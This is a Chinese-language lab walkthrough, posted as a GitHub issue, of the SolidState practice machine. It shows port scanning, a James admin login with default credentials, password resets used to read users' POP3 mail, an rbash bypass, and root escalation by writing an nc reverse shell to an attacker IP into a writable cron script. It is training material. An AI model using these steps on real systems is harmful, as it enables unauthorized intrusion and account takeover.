cha0s32 / cha0s32.github.io

0 stars 0 forks source link

靶机练习4: SolidState #7

Open cha0s32 opened 9 months ago

cha0s32 commented 9 months ago

信息收集阶段

全端口扫描,查询目标靶机开放端口和服务

sudo nmap -p- -n -v -sS --max-retries=0 172.16.33.35

进行服务版本扫描

nmap -p22,25,80,110,119,4555 -sV -A 172.16.33.35

发现有陌生服务james-admin,尝试用searchsploit看看是否有利用脚本

有几个版本符合的脚本,尝试利用,但都不成功

查看脚本具体内容,发现james-admin默认账号密码都为root, 尝试登录

使用help查看可用命令,注意到有枚举用户的命令listusers 和修改密码的命令setpassword,修改各用户密码,然后登录POP3 邮箱服务,看各用户的邮件,命令如下:

nc -C 172.16.33.35 110

USER mindy
PASS 123

LIST  # 列出所有邮件
RETR 1 # 查看对应邮件

利用漏洞拿shell

发现mindy的邮件中有账号密码的泄漏,尝试拿这个账号密码去登录远程服务器

登录成功!尝试修改密码,发现Shell被限制,为rbash

尝试绕过rbash, 这里使用的方法是登录时加入 -t "bash --noprofile"

ssh mindy@172.16.33.35 -t "bash --noprofile"

登录成功后发现已成功绕过。

跑一下./linpeas.sh提权脚本,发现没什么发现

提权

可以查看一下系统各个用户的进程,特别关注一下james

ps aux | grep james

发现有一个run.shopt目录下,查看opt目录时发现有一个tmp.py文件,该文件的权限是所有用户可读可写可执行

也可以这样查询

find / -user root -perm -o=w -type f 2>/dev/null | grep -v 'proc\|sys'

通过查看该文件内容,判断该文件应该是一个定时删除tmp目录内文件的脚本,可尝试写入自己的反弹shell

echo 'import os;os.system("/bin/nc 10.8.0.17 777 -e /bin/bash")' > tmp.py

等几分钟后获得shell,获得root权限